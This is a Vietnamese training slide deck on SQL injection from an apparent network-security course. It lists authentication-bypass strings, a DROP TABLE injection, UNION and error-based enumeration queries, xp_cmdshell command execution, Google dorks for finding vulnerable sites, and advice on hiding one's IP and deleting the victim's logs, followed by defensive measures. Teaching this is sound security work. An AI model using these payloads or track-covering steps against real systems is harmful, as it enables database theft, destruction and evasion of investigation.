Kỹ thuật tấn công và phòng thủ trên không gian mạng - Kỹ thuật tấn công mạng - SQL Injection

SQL injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp (không được người phát triển lường trước) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web.Database là 1 hệ quản trị dùng để quản lý tất cả các thông tin, dữ liệu. Giúp cho việc quản lý thông tin được dễ dàn hơn. Các databse phổ biến hiện nay là: MySQL, MS SQL, Oracle, Access.

pdf40 trang | Chia sẻ: franklove | Lượt xem: 3254 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Kỹ thuật tấn công và phòng thủ trên không gian mạng - Kỹ thuật tấn công mạng - SQL Injection, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Institute of Network Security – www.istudy.vn KỸ THUẬT TẤN CÔNG VÀ PHÒNG THỦ TRÊN KHÔNG GIAN MẠNG Institute of Network Security – www.istudy.vn NỘI DUNG • Module 01: Tổng quan An ninh mạng • Module 02: Kỹ thuật tấn công • Module 03: Kỹ thuật mã hóa • Module 04: Bảo mật hệ điều hành • Module 05: Bảo mật ứng dụng • Module 06: Virus và mã độc • Module 07: Các công cụ phân tích an ninh mạng • Module 08: Chính sách bảo mật và phục hồi thảm họa dữ liệu • Ôn tập • Báo cáo cuối khóa Institute of Network Security – www.istudy.vn Module 02: KỸ THUẬT TẤN CÔNG • Lesson 01: Footprinting và Reconnaissance • Lesson 02: Google Hacking • Lesson 03: Scanning Networks • Lesson 04: Enumeration • Lesson 05: System Hacking • Lesson 06: Sniffer hệ thống mạng • Lesson 07: Social Engineering • Lesson 08: Denial of Service • Lesson 09: Session Hijacking • Lesson 10: SQL Injection • Lesson 11: Hacking Wireless Networks • Lesson 12: Buffer Overflow Institute of Network Security – www.istudy.vn SQL Injection Module 02: KỸ THUẬT TẤN CÔNG Institute of Network Security – www.istudy.vn Nội dung • Các kỹ thuật khai thác • Tác hại và phòng chống • SQL Injection Tools Institute of Network Security – www.istudy.vn SQL Injection • SQL injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp (không được người phát triển lường trước) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web. Institute of Network Security – www.istudy.vn SQL Injection • Database là 1 hệ quản trị dùng để quản lý tất cả các thông tin, dữ liệu. Giúp cho việc quản lý thông tin được dễ dàn hơn. Các databse phổ biến hiện nay là: MySQL, MS SQL, Oracle, Access. • Các câu lệnh truy vấn thường dùng theo hướng hacking: select, union, convert, delete, update, drop… • SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. • Công cụ dùng để tấn công là một trình duyệt web bấtkì, chẳng hạn như Internet Explorer, Netscape, Firefox,... Institute of Network Security – www.istudy.vn SQL Injection • Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị CSDL như SQL Server, MySQL, Oracle, DB2, Sysbase. Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác unintended SQL query receive valuable data 1 2 3 Victim Server Victim SQL DB Attacker Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Giới thiệu về Information_schema: – Đây là một bảng không bao giờ thay đổi với đa số các ngôn ngữ SQL. – Được tạo ra khi cài hệ CSDL, chứa thông tin về tất cả các database. Có vai trò như là cầu nối giữa các database. – Tên của các bảng trong INFORMATION_SCHEMA.TABLES là table_name. – Tên của các cột trong INFORMATION_SCHEMA.COLUMNS là column_name. Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác CorpSite Forum_data ?????_data INFORMATION_SCHEMA users Id User Pass 1 Admin 123 10 Guess guest Sản phẩm col1 col2 coln … … … Tin Tức col1 col2 coln … … … Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Qui trình khai thác SQL Injection: – Cover: fake ip với proxy, hoặc các tool như: Hide IP, Proxy Switcher Standard… – Tìm các đối tượng bị lỗi: manual bằng tay với google; hoặc với các tool hỗ trợ như: search shop,url scan, sql source analyzic, hp scrawl, acunetix… và không thể thiếu 1 trình duyệt (tốt nhất là firefox) Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Truyền các lệnh truy vấn và thu thập thông tin: – Lấy thông tin về database: convert(int,@@version)-- convert(int,@@servername)-- convert(int,system_user)-- convert(int,db_name())-- Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Qui trình khai thác SQL Injection: – Lấy table: convert(int,(select top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES))-- – Lấy column: convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS))-- • Truyền các lệnh truy vấn và thu thập thông tin: – Lấy values trong column – Giải mã (nếu cần) với: milw0rm.com, md5search.org, các tool như: LC5, LPC… Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Ví dụ: code PHP $recipient = $_POST[‗recipient‘]; $sql = "SELECT PersonID FROM People WHERE Username='$recipient' "; $rs = $db->executeQuery($sql); • Vấn đề: – Dữ liệu đầu vào ‘recipient’ có thể bị khai thác trực tiếp từ câu lệnh SQL Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1-- Login: hi' or 1=1-- Pass: hi' or 1=1— ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'=‘a • Đoạn scripts sẽ được thực thi ok = execute( SELECT … WHERE user= ' ' or 1=1 -- … ) • Nếu thành công, bạn có thể login vào mà không cần phải biết username và password Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Hoặc user = ― ′ ; DROP TABLE Users -- ‖ • Thay vào script: ok = execute( SELECT … WHERE user= ′ ′ ; DROP TABLE Users … ) • Bảng user có thể bị xoá hoặc thêm users, reset pwds, etc. Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Lệnh SQL Query thông dụng: strQry = ―Select Count(*) From Users Where Username=‗‖ + TxtUser.text + ―‘ AND Password=‗‖ + txtPassword.text + ―‘‖; • Khi có user là teo và pass là password: Select Count(*) From Users Where Username=‗teo‘ AND Password=‗password‘ • Và khi bị hacker can thiệp ‘Or 1-1 – vào câu Query Select Count(*) From Users Where Username=‗ ‘ Or 1=1 –‘ AND Password=‗ ‘ • Hoặc Select Count(*) From Users Where Username=‗ ‘ Or 1=1 • Thì có thể đăng nhập vào cơ sở dữ liệu. Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Thi hành lệnh từ xa bằng SQL Injection: – Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Tìm web bị lỗi sql injection -> google allinurl:‖page?id=" allinurl:‖shopdisplayproducts.asp?id=" • Phân biệt Get và Post: – GET là phương thức truyền dữ liệu trên địa chỉ URL, chỉ truyền được tối đa là 256 ký tự, giá trị có thể thay đổi bằng cách sửa URL . – POST truyền qua form khi submit. POST khác GET là giá trị biến dữ liệu không hiện ra trên URL nên bảo mật và lớn hơn. Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Một số loại sql injection extend: ' '' ''' admin' -- admin' # ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1-- ' or 1=1-- " or 1=1-- Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác $name = $_REQUEST['name']; $passwd = $_REQUEST['passwd']; $query_string = "SELECT * FROM users WHERE username = '$name' AND password = '$passwd'"; form action="login_bypass.php" method="get"> Login: Password: SELECT * FROM users WHERE username = ‘admin‘ -- ' AND password = ‘; Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác 1. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4-- 2. http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4-- 3. http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4-- 4. http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'-- 5. http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN- NAME-1,3,4 from TABLE-NAME-1-- Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác union seclect 1,@@version, column_name,4,5,6,7 from Information_schema.columns-- Institute of Network Security – www.istudy.vn Các kỹ thuật khai thác • Xóa dấu vết: – Xóa log trên trang victim. – Xóa các tàng tích trên máy mình. – Rời khỏi hiện trường. Institute of Network Security – www.istudy.vn Tác hại và phòng chống • Tác hại của dạng tấn công SQL Injection tùy thuộc vào môi trường và cách cấu hình hệ thống. • Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu CSDL) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới... • Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm chí có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn. Institute of Network Security – www.istudy.vn Tác hại và phòng chống • Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request. QueryString, Request.Form, Request. Cookies, và Request.Server Variables). • Cách phức tạp hơn là viết 1 hàm kiểm tra dữ liệu vào (lưu ý là ngoài kiểu vượt qua login còn có các hình thức SQL Injection khác nguy hiểm hơn là thay đổi, xoá dữ liệu, đánh cấp thông tin hệ thống, vì thế function này check chung hết để loại bỏ luôn các hình thức khác). Institute of Network Security – www.istudy.vn Tác hại và phòng chống • Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security. • Xóa các stored procedure mà bạn không dùng như: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask • Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống. Institute of Network Security – www.istudy.vn Tác hại và phòng chống • Cuối cùng, để giới hạn mức độ của SQL Injection attack, nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít. Institute of Network Security – www.istudy.vn SQL Injection Tool Institute of Network Security – www.istudy.vn SQL Injection Tool Institute of Network Security – www.istudy.vn SQL Injection Tool Institute of Network Security – www.istudy.vn SQL Injection Tool Institute of Network Security – www.istudy.vn TÓM LƯỢC BÀI HỌC SQL Injection. Các công cụ cần thiết. Các điểm cần lưu ý. Institute of Network Security – www.istudy.vn Q & A 40